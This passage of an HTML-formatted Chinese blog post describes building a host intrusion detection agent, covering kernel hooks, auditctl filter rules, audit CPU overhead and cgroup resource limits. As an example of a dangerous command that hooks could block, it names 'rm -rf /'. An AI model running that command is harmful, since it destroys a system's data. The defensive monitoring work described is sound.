10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">为什么要在内核态实现这些</span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Hook</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">呢？</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">因为我们希望可以尽可能的全面的收集以上信息，避免被绕过。而且在这里做</span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Hook</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">如果将来需要做一些危险命令等拦截也成为了可能，如：</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">rm </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">rf </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/等。我们认为，越接近底层，离真相越近。</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">关于性能，我们为了尽可能的减少系统负载，放弃了最开始的传输方案：</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">netlink</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">，改用共享内存的方式来实现内核态到用户态到消息传输，经过测试对</span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Hook</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">的</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">system_call</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">的性能影响相较于</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">netlink</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">降低</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">30</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%左右（更加详细的性能测试报告请见项目内）。</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">实现方式与驭龙HIDS的方式相同。我个人观点，越接近底层越危险。业务需要安全，更需要SLA稳定性，安全往往也背不起那么大的锅。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">Audit 当然不是完美的存在，也有自己的运行损耗。在使用 auditd 的时候，性能消耗（主要为CPU）会随着进程量的提升有所上升，甚至到达单核50%-100%。同理，在本身负载较高的机器上，osquery 连接 audit 的时候，也会出现占用CPU较多的问题。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">最早手写 Agent 的时候，就是通过 Audit 去实现的进程监控。本身进程大的时候，audit处理的时间就会比较长，再加上还要有查询其他系统资产的步骤（比如，追溯父进程信息，判断是否存在漏洞等等），就导致在部分机器上的资源占用过高。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">当时的解决方案是在 Agent 代码中添加进程白名单，现在想来太过局限了。Audit 本身提供了一些白名单过滤的功能：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">auditctl</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">F </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">n</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">v </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> n</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">v </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> n</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">v </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> n</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">v </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> n</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">v </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> n</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">v</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">建立规则字段:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">名称,操作,参数.一个命令行可以有</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">64</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">个字段,每个字段必须以-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">F</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">开头.每个字段将会</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">触发一个</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">audit</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">记录.有=,!=,&lt;,&gt;,&lt;=,&gt;=运算符可以使用.</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">可以使用的字段有:</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">a0</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> a1</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> a2</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> a3</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> arch</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> auid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> b32</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> devmajor</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> devminor</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> egid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> euid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">exit</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> fsgid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> fsuid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> gid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> inode</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> key</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> msgtype</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> obj_user</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> obj_role</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> obj_type</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> obj_lev_low</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> obj_lev_high</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> path</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> pers</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> pid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ppid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> subj_user</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> subj_role</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> subj_type</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> subj_sen</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> subj_clr</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> sgid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> success</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> suid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> uid</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">比起在 Agent 中添加白名单的方式，这种通过调整 audit 配置来实现的白名单，效率更高，从源头上解决占用资源过多的问题，而不是等日志经过一系列处理之后，再想办法过滤掉。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">当然这只是 audit 占用资源过高的<strong style="box-sizing: border-box;color: rgb(0, 0, 0);">解决方案</strong>，为了尽可能减少 Agent 在线上运行的时候对业务的影响，我们还要有<strong style="box-sizing: border-box;color: rgb(0, 0, 0);">兜底方案</strong>，给资源占用加上硬限制，绝对不能超过指定值。</p><h3 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">0x03 Agent性能保障</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">我们从三个方向去评估 Agent 对机器的性能影响：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">CPU</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">内存</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">磁盘</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">对 内存 和 CPU 的硬限制，是通过 CGroup 来实现。CGroup 在 centos7 下默认安装，可以通过 mount 命令来查看</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">$ mount </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> grep cpu</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cgroup on </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">sys</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">fs</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cgroup</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cpu</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cpuacct type cgroup </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">rw</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nosuid</span><span class="pun" style="box-sizing: 